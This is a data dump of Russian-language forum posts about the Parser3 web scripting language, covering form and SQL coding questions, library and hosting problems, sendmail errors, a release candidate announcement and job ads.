   ^switch[$form:other]{\
      ^case[действие1]{\
          ...\
      }\
      ^case[действие2]{\
          ...\
      }\
   }\
}{\
   <form method=\"post\" action=\"$.target_url[./other.htm]\">\
      <input type=\"hidden\" name=\"other\" value=\"действие1\">\
      <input type=\"reset\" value=\"Очистить\">\
      <input type=\"submit\" value=\"Выполнить\">\
   </form>\
\
   <form method=\"post\" action=\"$.target_url[./other.htm]\">\
      <input type=\"hidden\" name=\"other\" value=\"действие2\">\
      <input type=\"reset\" value=\"Очистить\">\
      <input type=\"submit\" value=\"Выполнить\">\
   </form>\
}"
"76899","[code]<form method=\"post\" action=\"$.target_url[./other.htm]\">[/code]\
\
Какое поведение ожидается от этой строчки кода?"
"76900","Добрый вечер.\
\
Ситуация такова.\
\
POST-запросы (периодически) валятся с ошибкой\
[quote]post_size(492542) != content_length(4053972)[/quote]\
\
В логах Апача: [i]Connection reset by peer: Error reading request entity data [/i] либо [i]End of file found: Error reading request entity data[/i].\
\
UA при этом совершенно разные.\
\
П. с.: [i]mod_bandwidth[/i] не используется (http://www.parser.ru/forum/?id=42283)."
"76901","На страничке несколько форм \"other\", и каждая передает свое значение (value). Щелчок на кнопке формы - выполняется соответствующее переданному значению действие. Оператор ^if(def $form:other) проверяет наличие данных формы и если они существуют то управление передается оператору ^switch и через ^case выполняется соответствующее действие.\
\
Этот код работал, теперь не работает и выдает ошибку."
"76902","Вы вставили в текст конструкцию для создания ключей хеша и если \"это работало раньше\", то это все равно ошибка."
"76903","Клиент прервал запрос и Парсер получил данные не полностью - такое бывает иногда. Если вы используете аякс, то может быть таймауты в скриптах маленькие."
"76904","такие запросы отправляет Flash-плеер. Видимо, он не всегда досылает."
"76905","Почему там где выделено жирным выскакивает ошибка о том, что:\
[quote]is 'junction', it does not have numerical (double) value[/quote]?\
\
[code]@remove_dublicates[old]\
^connect[$connect-string]{\
   $tDubs[^table::sql{SELECT id, name, COUNT(*) AS count\
                      FROM wavsdb\
                      WHERE old=^if($old){1}{0}\
                      GROUP BY name\
   }]\
}\
\
^tDubs.menu{\
   ^if([b]$tDubs.count > 1[/b]){\
      ^connect[$connect-string]{\
         ^void:sql{DELETE FROM wavsdb\
                   WHERE id=$tDubs.id\
         }\
      }\
   }\
}[/code]\
\
И еще. Можно ли оперировать с [b]COUNT(*) AS [i]count[/i][/b] внутри этого же запроса к БД? Например, я хотел бы сделать так:\
[code]SELECT id, name, COUNT(*) AS count\
FROM wavsdb\
WHERE old=^if($old){1}{0}\
[b]AND count>1[/b]\
GROUP BY name[/code]\
, но это нельзя :("
"76906","У таблицы есть метод count, он приоритетнее поля. Надо назвать поле иначе. \
\
[quote]Например, я хотел бы сделать так: [/quote]\
\
Можно сделать вложенный запрос (если версия mysql позволяет).\
select * from (ваш запрос) where count>1"
"76908","в данном случае можно написать не $tDubs.count а $tDubs.fields.count. но в общем случае лучше переименовать поле, т.к. у хэша есть свои методы, которые также не должны совпадать с полями, т.к. они имеют приоритет."
"76909","Запрос должен быть один\
[code]\
$tDubs[^tDubs.select($tDubs.count > 1)]\
\
^void:sql{\
	DELETE FROM wavsdb\
	WHERE id IN (^tDubs.menu{$tDubs.id}[,])\
}\
[/code]\
\
P.S. ну и внутри одного ^connect[]{} оба запроса хотя бы для красоты"
"76910","[code]\
DELETE FROM\
	wavsdb\
WHERE\
	id IN (\
		SELECT\
			id\
		FROM\
			wavsdb\
		WHERE\
			old=^if($old){1}{0}\
		GROUP BY\
			name\
		HAVING\
			COUNT(*) > 1\
	)\
[/code]\
\
P.S. только неправильно это: удалять одну \"случайную запись\", если количество записей с одинаковым name > 1. чуть правильнее -- удалять все, кроме одной."
"76915","Спасибо большое, убрал \"$.target_url\" и поставил просто \"лобовую\" ссылку - все заработало. Самое странное, ведь работало же. Такую ссылку \"подсмотрел\" в каком-то классе (по-моему \"auth.p\") - не разбирался особо, как обычно все нужно вчера."
"76916","Есть сайт на парсере. Сейчас это каталог товаров (блюд). Задача — переделать его в систему интернет-заказов с подключением к стороннему API (сам API я в глаза не видел, это ресторанная какая-то система).\
То есть человек кладет в корзину, заполняет адрес-время, вся эта шняга переводится во внутреннюю \"доставку\", оттуда проводится продажа в системе. \
\
Насколько сейчас грамотно написан каталог — хрен его знает, работает и работает, админка есть. Желательно всю эту новую функциональность как-то включить туда. Подробного ТЗ нет, пока ищу человека.\
\
Напишите мне, пожалуйста, на hwat@yandex.ru, кто вы, какие у вас есть готовые штуки и какая сумма вам была бы интересна."
"76917","./lib/libparser3mysql.so\
\
driver failed to initialize client library './lib/libmysqlclient.so', libz.so.1: cannot open shared object file: No such file or directory\
/home2/mozikowi/public_html/windproductions.com/page-home.html(211:26)"
"76920","64-bit version of libz.so can't be used by 32-bit version of libmysqlclient.so.\
\
You have to download proper version of libmysqlclient.so from mysql.com. Alternatively, you can download mysql sources and compile the library by yourself.\
\
You have to have 32-bit version of library if you use 32-bit version Parser + driver.\
You have to have 64-bit version of library if you use 64-bit version Parser + driver."
"76925","Спасибо."
"76926","Давайте, почему нет. :) А есть PPA?"
"76927","Пытаюсь вынести все текстовые переменные в отдельный файл. Создаю файл [i]Text.p[/i] примерно следующего содержания:\
\
[code]$record[\
	$.field1[...]\
	$.field2[...]\
	$.field3[...]\
][/code]\
\
Добавляю в самое начало файла с кодом:\
\
[code]@USE\
Text.p[/code]\
\
В итоге получаю в месте вызова переменной ($record.fieldN) пустую строку.\
\
Что я делаю не так? Как правильно?"
"76928","в Text.p вы не описали ни одного метода, т.е. всё тело этого файла создало метод с именем @main[].\
\
т.е. после выполнения подключения этого файла у вас определился (но не выполнился) метод @main[].\
\
а автоматически при подключении выполняется только метод @auto[]\
если вы в начало файла Text.p добавите @auto[], то у вас получится то, что вы хотите."
"76932","При отправки письма:\
[code]\
^mail:send[\
   $.from[...]\
   $.to[...]\
   $.subject[Сообщение с сайта]\
   $.html{}\
][/code]\
\
Вылазит ошибка:\
[code]'/usr/sbin/sendmail' reported problem: 'import site' failed; use -v for traceback (0)[/code]\
\
Хостер утверждает, что это ошибка в скрипте."
"76934","Может у вас в панели ящика нет, с которого вы пытаетесь отправить сообщение?"
"76936","Судя по поиску, такую ошибку умеет выдавать питон:\
\
http://www.velocityreviews.com/forums/t358899-import-site-failed-use-v-for-traceback.html\
\
Так что стоит присмотреться к тому, что у хостера лежит вместо /usr/sbin/sendmail - есть подозрение, что это какой-то глючный враппер на питоне. Ну и проблема понятно не у вас, а у хостера."
"76938","ДД!\
\
[code] ^db{^void:sql{insert into Table (Caption, Body)VALUES(_utf8'$form:caption', CONCAT_WS('<hr>',_utf8'$form:body',_utf8'$form:comment')}}[/code]\
\
работает, НО при включении пользователем html-тэгов они обрабатываются броузером\
при\
\
[code] ^db{^void:sql{insert into Table (Caption, Body)VALUES(_utf8'$form:caption', CONCAT_WS('<hr>',_utf8'^taint[optimized-html][$form:body]',_utf8'^taint[optimized-html][$form:comment]')}}[/code]\
\
тэги пишутся в базу \"как надо\", НО перестают обрабатываться одинарные и двойные кавычки.\
\
как быть?"
"76939","преобразовывать при выводе - не выход, т.к. предполагается некое программное html форматирование при записи в БД"
"76940","Но по мне так лучше не \"предполагать некое программное html форматирование при записи в БД\", и тогда все будет работать штатным образом как при записи в базу, так и при последующем чтении из нее."
"76942","$t[^t.match[<m:(\\w+)>(.*?)</m:(.*?)>][g']]\
\
Мы получим $t.1, $t.2, $t.3\
\
Вопрос: как написать в регекспе, чтобы 3-е соответсвие было равно 1-му?\
Иными словами: <m:(\\w+ это 1)>(.*? это 2)</m:(здесь нужно чтобы нашлась подстрока идентичная первой)>\
\
Возможно?"
"76943","Скопировал бинарник, и в логах вижу что не хватает библиотек.\
\
Вот из общения с поддержкой:\
\
я: Возможно ли установить недостающие библиотеки?\
я: /usr/lib64/libstdc++.so.6: version `GLIBCXX_3.4.9' и /lib64/libc.so.6: version `GLIBC_2.7'\
поддержка: GLIBC версии выше 2.5 на текущих хостинговых серверах не доставиться\
я: хмм а почему?\
поддержка: мы используем центос 5 ветки\
поддержка: версия 2.7 только с центоса 6.0 идет\
\
Есть решение?"
"76944","наверняка API этой \"ресторанной какой-то системы\" (их, собственно, наверное, штук пять всего на рынке есть) не предполагает работы с rest/json, odbc и так далее.\
\
то есть придется городить огород вокруг парсерного кода и потом полученные данные как-то импортировать в ресторанную систему.\
\
даже если предположить, что это модная iiko, которая хранит данные в MSSQL, то все равно это большая проблема, т.к. база не документирована и не предполагает реальной работы с ней в обход серверного приложения. \
\
в общем, я сомневаюсь, что есть способ дешево работать с этой системой напрямую из парсера.\
\
хотя, конечно, все зависит от API, есть шанс отличный от нуля, что он способен обеспечить взаимодействие с парсером."
"76947","Если есть некий API, то сделать работу с ним через Парсер можно всегда — пусть и через внешний скрипт на любом языке для которого есть библиотека, если используется какой-нибудь бинарный протокол или не http-транспорт. \
\
> проще напрямую работать с данными\
Так можно делать только если есть уверенность в стабильности БД внешней системы или нет внешнего API, иначе ни о какой надежной работе программы речи идти не может. :)"
"76948","parser3_4_1_redhat73_cgi_xml.tar.gz тоже не работает? Что говорит ldd?"
"76950","32 битную? Система-то 64 битная. Centos 5"
"76952","Да, а что в этом такого. Нормально запускается (не помню, чтобы специально поддержку ставил, была \"из коробки\").\
\
>uname -a\
Linux hostname 2.6.38-11-generic #50-Ubuntu SMP Mon Sep 12 21:17:25 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux\
\
>ldd ./parser3.cgi \
	linux-gate.so.1 =>  (0xf7720000)\
	libdl.so.2 => /lib32/libdl.so.2 (0xf76fb000)\
	libcrypt.so.1 => /lib32/libcrypt.so.1 (0xf76ca000)\
	libm.so.6 => /lib32/libm.so.6 (0xf76a4000)\
	libc.so.6 => /lib32/libc.so.6 (0xf7547000)\
	/lib/ld-linux.so.2 (0xf7721000)\
\
>./parser3.cgi\
./parser3.cgi: file not specified\
Parser/3.4.1 (compiled on i686-pc-linux-gnu)"
"76954","Пример из справки не работает. \
\
[code]Пример работы с EXIF информацией \
$image[^image::measure[jpg/DSC00003.JPG]] \
 $exif[$image.exif] \
 ^if($exif){ \
    Производитель фотоаппарата, модель: $exif.Make $exif.Model<br /> \
    Время съемки: ^exif.DateTimeOriginal.sql-string[]<br /> \
    Выдержка: $exif.ExposureTime секунды<br /> \
    Диафрагма: F$exif.FNumber<br /> \
    Использовалась вспышка: ^if(def $exif.Flash){^if($exif.Flash){да;нет};неизвестно}<br /> \
 }{ \
    нет EXIF информации<br /> \
}[/code]\
\
А всё почему? Потому что, наверное, весь мир уже перешел на версию экзиф отличную от первой. Убил кучу времени. Надеюсь инфа поможет тем, кто будет идти этим путем."
"76955","- каким фотоаппаратом сделана ваша фотография\
- какие поля недоступны"
"76956","Вот эта штука не работает. ^exif.DateTimeOriginal.sql-string[]\
\
Наверное из-за того, что строка выглядит по-другому в новой версии. 2012:02:06 13:12:12. Но это всего лишь предположение."
"76957","подобные даты в exif-е мы давно умеем разбирать.\
можете сами посмотреть на метод [URL=http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/classes/date.C?revision=1.91&view=markup]cstr_to_time_t[/URL]"
"76958",">только если есть уверенность в стабильности БД внешней системы\
\
речь о данных парсера, а не внешней системы.\
то есть не трогать парсерный код вообще, а делать модуль, который будет связывать DB с которой работает парсер и API/DB внешней системы"
"76959","Чем чревато не явное использование не латинских символов, например кириллических (это возможно) или каких либо других национальных символов (если это возможно), в наименовании ключей хеша?"
"76961","Подскажите пожалуйста, математические выражения в начальном и конечном значениях счетчика цикла [b]for[/b] выполняются один раз или на каждой итерации цикла?"
"76965","Покажите, как проверяли."
"76967","Ваш код ничего не показывает, там всё честно.\
Вот проверочный код для цикла:\
[code]$i(0)\
$n{\
	^i.inc[]\
	^eval(1 + ^math:random(10))\
}\
\
^for[k](1;$n){ $k }[<br />]\
<br />\
n count: $i[/code]\
\
\"n count\" всегда будет 1"
"76968","Когда я его запостил, то понял где был не прав.\
И проверил так:\
[code]\
$m(5)\
^for[k](1;$m-1){\
  $k\
  ^m.dec[]\
}\
[/code]"
"76970","Добрый день!\
\
Требуются программисты на полный рабочий день или удаленную работу.\
ЗП 25000 - 40000 рублей в зависимости от уровня.\
Подробнее по email: shustov@inbox.ru"
"76971","Появилась новая информация от хостера:\
[quote]\
У нас действительно используется прослойка на python для обработки отправки почты из скриптов, однако до вашего обращения каких-либо проблем с данным функционалом не наблюдалось — mod_php, cgi (python/perl) работают корректно.\
\
На сколько мы видим, наш тестовый скрипт корректно отправляет тестовое сообщение, однако так же возвращает сообщение об ошибке. Судя по всему, делается несколько обращений к sendmail.\
\
Дамп первого вызова:\
\
['/usr/sbin/sendmail', '-i', '-t', '-f', 'test@test.test']\
------\
From: test <test@test.test>\
To: support <support@majordomo.ru>\
Subject: test\
Errors-To: postmaster\
MIME-Version: 1.0\
Content-Type: text/plain; charset=WINDOWS-1251\
Content-Transfer-Encoding: 8bit\
\
test\
\
\
Как видите, каких-либо ошибок нет, данное сообщение успешно отправляется.\
К сожалению, выяснить из-за чего в дальнейшем выводится указанная вами ошибка нам не удалось. Судя по всему, это либо логика работы самого Parser, либо непосредственная реализация ваших скриптов.\
\
По данной проблеме вам целесообразно дополнительно проконсультироваться с разработчиками Parser.\
[/quote]"
"76972","Требуется ещё один-два веб-разработчика на полный день в офис крупной транспортной компании с нехилой IT-службой и уймой интересных задач.\
\
Возраст от 23 лет.\
Опыт веб-разработки от 5 лет.\
\
Необходимо хорошее владение Parser3, MySQL, HTML/XHTML/CSS. Желательно знание jQuery, PHP, XSLT. Порадует опыт работы с Adobe Air, Django, Symphony, мобильными ОС, интеграции с 1С.\
\
Важно уметь работать с архитектурой БД и кода, желательно разбираться в дизайне интерфейсов и юзабилити. Если есть опыт разработки интерфейсов - скрины welcome.\
\
Вы должны быть ответственны, поклоняться логике, удобству и понятности, уметь планировать свою работу.\
\
Проекты интересные. Осваиваем новые технологии и постоянно совершенствуем свои реализации уже применённых.\
\
Оплата почасовая, от 450р/час (60-120к в месяц). Если вы знаете, что вы толковый и трудолюбивый разработчик, но никогда не работали с почасовой оплатой - не пугайтесь, это совсем не страшно, будет получаться хорошая зарплата. :-)\
\
На все вопросы отвечу с j-walker at inbox.ru"
"76973","а если обернуть код в [url=\"http://www.parser.ru/docs/lang/optry.htm\"]try[/url] письмо будет уходить?"
"76974","если вы укажете опцию $.print-debug(true) у ^mail:send[] то увидите полный текст сообщения, которое парсер скармливает sendmail-у.\
получив его вы можете попробовать из консоли вызвать \"sendmail\".\
\
но вообще, лично я настаивал-бы на исправлении этого:\
[quote]На сколько мы видим, наш тестовый скрипт корректно отправляет тестовое сообщение, [b]однако так же возвращает сообщение об ошибке[/b].[/quote]\
\
И ещё: после подготовки почтового сообщения оно отправляется через стандартный парсерный exec. т.е. если внешние скрипты нормально вызываются (проверьте), вы  можете попробовать выполнить что-то типа:\
$f[^file::exec[binary;/../reltive/path/to/sendmail;$.stdin[сообщение, полученное с помощью $.print-debug];-t;-i;-f;postmaster]]\
вместо указания относительного пути можно сделать простой sendmail_wrapper.sh, положить его рядом с parser.cgi и вызывать его."
"76975","Да, письма уходят.\
Сделал пока так, как временная мера."
"76976","из textarea приходит текст, нужно его обработать построчно\
\
думал использовать split, но не придумал что ставить в качестве разделителя (на \\n  и ^#0D не реагирует)"
"76978","Добрый день.\
\
Когда-то, очень давно, для нашего сервера был куплен ротабанер (2 версия). Для обработки внутренних страниц используется parser, предполагаю, что версия 2.\
\
Сейчас возникла задача перенести со старой машины ротабанер на новую.\
Ничего заново не пересобирали. Просто запаковали и перенесли всё содержимое.\
\
При попытке открытия html страниц, которые обрабатывает парсер, выскакивает \
[code]\
invalid macro header-external\
invalid macro footer-external \
[/code]\
\
Страница содержит всего две строки, вызовы двух макросов:\
[code]\
^macro[header]\
\
^macro[footer]\
[/code]\
\
Пытался грепать форум и документацию.\
Были такие непонимания:\
в документации точно прописано, что должен существовать базовый конфигурационный файл с макросами _macro.cfg, и он должен лежать в корне сайта. Также хотелось бы обнаружить какой-нибудь debug-mode, чтобы конкретно понимать, что происходит.\
\
Есть также подозрения на несоответствие библиотек на новом сервере libxml и libxslt. Специфических ключей для парсера режима отладки в документации не нашёл.\
\
Подскажите, пожалуйста, что можно сделать в данном случае ?"
"76979","ах, да. не всё написал.\
\
несколько файлов, в которых описаны все используемые макросы находится в каталоге conf (что удивило), т.е. парсер должен искать конфигурацию не в корне htdocs.\
\
пробовал также просто прописать в html странице одну конструкцию \
[code]\
^env[SERVER_NAME]\
[/code]\
чтобы что-нибудь увидеть, однако увидел\
\
[code]\
[invalid operator env] \
[/code]"
"76980","всё утро удивлялся откуда у меня каретка вместо перевода строки  вылезла. \
спать надо больше :)"
"76981","И парсер там весьма специфический (понятно, что он основан на parser2, но отличия очень сильные). Вот описание файлов веб-интерфейса Rotabanner, возможно это вам поможет:\
\
Корневой каталог веб-сервера, обслуживающего сервер БС, размещается в подкаталоге ./www корневого каталога сервера БС. Поскольку настройки веб-сервера могут предусматривать нахождение этого каталога в другом, предопределенном установкой веб-сервера месте, ./www обычно представляет собой символическую ссылку на реальный корневой каталог веб-сервера.\
\
./www/account - каталог, содержащий все шаблоны, с помощью которых макропроцессор порождает все страницы веб-интерфейса пользователя (участника, клиента и администратора). Файлы с расширением .html представляют собой HTML-шаблоны, содержащие параметры, а файлы с расширением .cfg - значения этих параметров для данной сети. О макропроцессоре см. раздел Конфигурационные файлы настройки веб-интерфейса.\
\
./www/cgi-bin - каталог, содержащий CGI-скрипты (исполняемые на веб-сервере файлы).\
\
./www/user.cgi - исполняемый файл макропроцессора.\
\
./www/conf - каталог, содержащий конфигурационные файлы для макропроцессора (настройки параметров для конкретной сети).\
\
./www/cgi-bin/conf - символическая ссылка на каталог ./www/conf.\
\
./www/etc - каталог, содержащий файлы с различными настройками, необходимыми для реализации функций механизма RotaBanner, реализованных средствами веб-сервера. Как указывалось выше, из-за тесной связи этих файлов с конфигурационными файлами сервера БС данный каталог обычно совмещается с конфигурационным каталогом сервера БС ./etc, который представляет собой символическую ссылку на данный каталог. Поэтому в этом каталоге, кроме описанных ниже файлов, размещаются также файлы, описанные в разделе о каталогах и файлах сервера БС.\
\
./www/etc/commision.cfg - файл, содержащий размеры дополнительных комиссий (за отдельные виды таргетинга и т.п.). Информация, содержащаяся в этом файле, дублируется в исполняемом файле сервера БС.\
\
./www/etc/features.cfg - список особенностей данной установки программы.\
\
./www/etc/groupes.cfg - файл, содержащий тематики ресурсов (параметры сайтов).\
\
./www/etc/targeting-ip.cfg - файл, содержащий поля таблицы регионального (географического) таргетинга, среди которых пользователь будет осуществлять выбор при таргетинге баннера. Сам таргетинг будет осуществляться при помощи файла ./etc/targeting-ip.tbl, обрабатываемого сервером БС и описанного выше.\
\
./www/etc/targeting_agent.cfg - аналогичный конфигурационный файл веб-интерфейса пользователя при настройке таргетинга по браузеру и ОС.\
\
./www/etc/targeting_audience.cfg - аналогичный конфигурационный файл веб-интерфейса пользователя при настройке таргетинга по аудитории посетителей.\
\
./www/etc/targeting_hour.cfg - файл для отображения настройки таргетинга по времени суток.\
\
./www/etc/targeting_mday.cfg - файл для отображения настройки таргетитнга по числу (дате в пределах месяца).\
\
./www/etc/targeting_wday.cfg - файл для отображения настройки таргетинга по дню недели.\
\
./www/etc/options.cfg - файл, определяющий отображение прав доступа в веб-интерфейсе.\
\
./www/etc/profile.cfg - файл, содержащий настройки профиля по умолчанию.\
\
./www/images - каталог, содержащий графические файлы, иллюстрирующие страницы веб-интерфейса.\
\
./www/add.cfg - файл, содержащий список заявок.\
\
.www/_layout.cfg - файл, содержащий основные параметры веб-интерфейса для конкретной сети.\
\
В каталоге ./www также располагаются файлы sites.html, statistics.html, index.html, instruction.html, about.html, add.html, содержащие шаблоны HTML-страниц, соответствующих пунктам меню главной страницы web-интерфейса."
"76982","Спасибо за ответ.\
\
Прошу прощения за то, что промахнулся форумом, не заметил на старой ветке, что там тоже форум есть.\
\
А вы не подскажете, есть ли какой-либо дебаг ключ для работы с парсером ? Ну, чтобы видеть конкретно процесс обработки по шагам, и где может быть затык ?"
"76983","Оно конечно :), но обычно так и приходится делать. В вашем случае я бы проверил наличие этого: \"./www/cgi-bin/conf - символическая ссылка на каталог ./www/conf.\""
"76984","Симлинк в cgi-bin на каталог conf присутствует.\
\
А существуют ли какие-либо ключи отладки для большего вывода информации о происходящем процессе или strace единственный путь ?"
"76985","Поменял хостера, выбрл хостинг где вроде бы анонсирована поддержка cgi-bin\
\
Но Парсер не заработал, лог ошибок показывает вот такое сообщение: \"20120616T171502: domain_name.com/cgi-bin/parser3.cgi \
Unrecognized character \\x7F at /home/users/web/bXXXX/ipg.domain_name/cgi-bin/parser3.cgi line 1\"\
\
Суппорт спрашивает какие нужны параметры чтобы Парсер работал? Мне нужны общие технические требования. Хотя мне кажется, что cgi-bin была единственным требованием. На сервере стоит debian."
"76987","Привет. Стоит ли ждать проблем при установке Парсера на облачный хостинг? Кто-нибудь уже пробовал?\
К примеру: http://www.gearhost.com/cloudhosting/cloudsites/overview/ - пишут, что есть стандартная опция CGI."
"76988","Ровно так устанавливается, как и на обычном"
"76989","Переношу сайт на другой хостинг, из Росси в США. В связи с этим озадачился где можно найти подходящий. Этот текст написан для тех, кто будет искать в будущем. Мне нужен был совмещенный, самый дешевый вариант, хостинга. Другие могут и работать, разумеется.\
\
Итак, вот проверенные хостинги, на которых НЕ возможно установить parser.\
\
1. ipage.com\
2. justhost.com\
3. webhostinghub.com\
4. fatcow.com\
5. bluehost.com\
6. inmotionhosting.com (стоит Centos 5.0 без возможности сборки)\
\
Сейчас тестирую hostgator.com, стоит Centos 6.0. ДНс еще не обновились, но пока парсер сам напрямую вызывается, что дает неплохие шансы на успех предприятия.\
\
Следите за обновлениями )"
"76991","В первом варианте (ipage.com) там стоит запрет на исполнение скриптов кроме скриптов perl и python. Суппорт отказывается вносить исключения.\
\
В представленных вариантах со второго по пятый стоит запрет на исполнение бинарников. В принципе, то же самое что и в первом варианте. Суппорт подтверждает сказанное.\
\
В шестом варианте (inmotionhosting.com) запрета нет, то там стоит Centos 5.0 (Apache 64 bit кстати) и не установлена нужная библиотека. Обсуждалось вот тут: http://www.parser.ru/forum/?id=76943 Сборка понятное дело не возможна, поскольку консоль недоступна. Логи апача не доступны также, поэтому пришлось спрашивать суппорт. В принципе работа парсера возможна, но на существенно более дорогом VPS хостинге."
"76992","Раньше хостинг был на hc.ru\
\
Но теперь хостинг в полтора раза дешевле, безлимитное дисковое пространство и адекватный скппорт. Так что всем рекомендую."
"76993","Мне кажется вышло бы не намного дороже чем у hostgator.com, все таки реальная цена там самого дешевого хостинга 7 баксов в месяц, а если за год сразу то 5. В принципе если чуток доплатить можно взять виртуалку в немцев, что намного лучше шареда. Но это немцы. А так надо бы попробовать как нить на амазоне поднять, пока только S3 пробую."
"76994","Amazon все-таки заточен больше под свой микромир, как и Google AppEngine - т. е. read-only код на инстансе (предварительно создается образ, который будет клонироваться на другие инстансы по возрастанию нагрузки), БД удаленная (Amazon RDS), файловое хранилище удаленное (Amazon S3)\
\
Использовать его (Amazon EC2 сервер) как классический хостинг очень неудобно\
\
Полгода назад (не знаю как сейчас) у них даже сервиса backup'ов не было, а если работающая машинка сбоила и у master'а отваливался жесткий диск - сохранность данных всегда оставалась только на твоей совести, резервные копии можно делать только вручную с жестким ограничением по объему занимаемого дискового пространства\
\
Плюс DNS-сервис у них такой что без очень светлой головы не разберешься\
\
Уж лучше рассматривать полноценные сервисы для хостинга в облаке/виртуальных-серверов типа linode.com (20$ в месяц + 5$ за backup'ы ежедневные без ограничения места + крутой DNS сервис = 25$ за спокойный сон)"
"76995","А разве не дает амазон полноценную вдс у себя развернуть? Смотрю очень много разных проектов амазон выбирают.\
\
Пробовал у нас на Украине, облачные хостинг от мирохоста.\
Сайт с небольшой нагрузкой. Выбрал минимальный тариф и 1 месяц теста.\
Так там по умолчанию mysql демон откушивал не хило памяти, что меня сразу выбивает на тариф выше. И править то на тестовом режиме не мог не давали ssh, пока не перейду в полноценный тариф."
"76996","Ну если отсутствие backup'ов и панели управления DNS в любом виде не отпугивает, а также не отпугивает волшебная кнопочка Stop которая очистит сервер в нули вместо остановки без лишних вопросов и невозможность расширить сервер ни в плане жесткого диска ни в плане процессора без полной очистки - почему бы и не попробовать :)"
"76997","Один в один +). А облачные решения грустны, суда по топикам гнева на хабре."
"76998","Есть ли возможность задать сортировку в ^file:list[путь]?\
\
По умолчанию сортировка идет по дате файла."
"76999","всё идёт в том порядке, в котором всё было получено от ОС.\
для сортировки используйте метод sort"
"77000","[code]\
@nodeToObject[node][node;children;resHash;keyID]\
$children[$node.childNodes]\
^if($children == 1 && $children.0.nodeName eq 'text'){\
	$result[$children.0.nodeValue]\
	}{\
	$resHash[^hash::create[]]\
	^for[keyID](0;$children-1){\
		^if($children.$keyID.nodeName ne 'text'){\
			$resHash.[$children.$keyID.nodeName][^nodeToObject[$children.$keyID]]\
			}\
		}\
	$result[$resHash]		\
	}\
[/code]\
\
Если так, то для того, чтобы отличить хэш от таблицы, мне придётся посчитать количество детей-тёзок: если имена детей уникальны, то отдать хэш, иначе таблицу. Есть альтернативные идеи? :)"
"77001","Имеется код, который надо перенаписать на парсере. В парсере я разбираюсь больше чем в PHP.\
\
[code]	$products = array();\
	foreach ($_POST['items'] as $product) {\
		$product_id = mysql_real_escape_string($product['id']);\
		$size = mysql_real_escape_string($product['size']);\
		$quantity = mysql_real_escape_string($product['quantity']);\
		$products[] = \"('', $transaction_id, '$product_id', '$size', '$quantity')\";\
	}\
	// Insert the transaction details.\
	mysql_query(\"INSERT INTO elupilt_transaction_details\
		(detail_id, transaction_id, product_id, size, quantity)\
		VALUES \" . implode(',', $products)\
	);[/code]"
"77002","Правильно я понимаю, хэш под именем items переименовывается в products? Или как."
"77005","... и пример того, что приходит в поле items."
"77006","На данный момент у вас поля в форме называются что-то вроде\
input name=\"items[id]\" value=\"1\"\
input name=\"items[size]\" value=\"1\"\
input name=\"items[quantity]\" value=\"1\"\
И php автоматически их серелизует, но парсер так не умеет (, но есть небольшая радость в том, что с какой-то версии поля в $form: идут в том же порядке что и пришли, на основе этого можно предложить решение\
[code]$tId[$form:items^[id^]]\
$tSize[$form:items^[size^]]\
$tQuantity[$form:items^[quantity^]]\
$products[^hash::create[]]\
^tId.menu{\
	$products.[^tId.line[]][\
		$.id[$tId]\
		$.size[$tSize]\
		$.quantity[$tQuantity]\
	]\
	$tSize.offset(+1)\
	$tQuantity.offset(+1)\
}[/code]"
"77007","Данные приходят методом POST от ajax приложения."
"77010","[code]$tId[$form:tables.items^[id^]]\
$tSize[$form:tables.items^[size^]]\
$tQuantity[$form:tables.items^[quantity^]]\
$products[^hash::create[]]\
^tId.menu{\
	$products.[^tId.line[]][\
		$.id[$tId]\
		$.size[$tSize]\
		$.quantity[$tQuantity]\
	]\
	$tSize.offset(+1)\
	$tQuantity.offset(+1)\
}[/code]"
"77012","Выпущен релиз кандидат версии 3.4.2.\
Скачать можно здесь: http://www.parser.ru/download/beta/.\
Список изменений смотрите на http://www.parser.ru/news/.\
Приветствуются багрепорты и активное тестирование."
"77015","временно выложил html версии док.\
остальные версии (chm, pdf) будут выложены к релизу."
"77016","\"Методы ^file:dirname[путь] и ^file:basename[путь] теперь работают как одноимённые команды *nix.\" - можете пояснить для тех, кто не работал с этой системой?"
"77017","... т.е. понимают обратные слеши, диски и пр. глупости файловой системы виндоус. :)"
"77018","хм. а юниксовые команды действительно понимают виндовые пути и диски? :)\
\
нет, диски dirname/basename не понимают. но раньше эти методы нестандартно обрабатывали такие пути как \"\", \"/\", \".\". сейчас соответствуют тому, что делают юниксовые команды, но пользователи парсера наверняка с этими нюансами не столкнутся."
"77019","Что вы хотите получить, в чём сложности?"
"77020","Раньше прописывал в auto.p, который лежит в корне.\
\
@auto[]\
$connect_string[]\
\
И все работало. А теперь не работает. Приходится плодить ненужные сентенции в каждом методе, в котором требуется подключиться к базе данных.\
\
Не порядок."
"77021","... и про версию Парсера не забудьте рассказать. Пока совсем не понятно что конкретно не работает."
"77022","А, пишу. Версия парера: Parser/3.4.1 (compiled on x86_64-unknown-linux-gnu)\
\
Значит прописываю в auto.p, который не в cgi-bin\
\
@auto[]\
$connect_string[mysql://XXXXXX:xXX@localhost/xxx?charset=cp1251]\
\
Затем пытаюсь в методах вызывать при помощи.\
\
^connect[$connect_string]{}\
\
И ничего не выходит. Выдает ошибку: 'connect' connection string must start with protocol://\
\
Ну то есть приходится везде прописывать явным образом. А раньше вроде работало и не пахло."
"77023","Проверьте куда указывает request:document-root. Если он совпадает с ожидаемым, то надо проверять считывается ли корневой auto.p."
"77025","\"Если так\" = \"Если преобразовывать участки xdoc в объект представленным образом\"\
\
Хотел получить хэш хэшей и таблиц. Собственно этот вариант уже не рассматривается. Но таблица ввиду неуникальности наименований элементов не конвертируется в хэш один-в-один, поэтому для таблиц использую хэш с численными ключами - так что вопрос отличения таблицы от списка всё ещё стоит.\
\
Сложность в том, чтобы определять, во что конвертировать ветку - в таблицу (теперь хэш с численными ключами) или хэш (теперь хэш со строковыми ключами). Посредством подсчёта количества идентичных элементов на каждой итерации перебора nodelist - неэстетично, с моей точки зрения.\
\
Отсюда вопрос - можно ли это сделать изящнее.\
\
[code]\
@nodeToObject[node][node;children;resHash;keyID;row]\
$children[$node.childNodes]\
^if($children == 1 && $children.0.nodeName eq 'text'){\
	$result[$children.0.nodeValue]\
	}{\
	$resHash[^hash::create[]]\
	$row(0)\
	^for[keyID](0;$children-1){\
		^if($children.$keyID.nodeName ne 'text'){\
			^if(^node.getElementsByTagName[$children.$keyID.nodeName] > 1){\
				$row($row+1)\
				$resHash.0[	$.elementName[$children.$keyID.nodeName]	]\
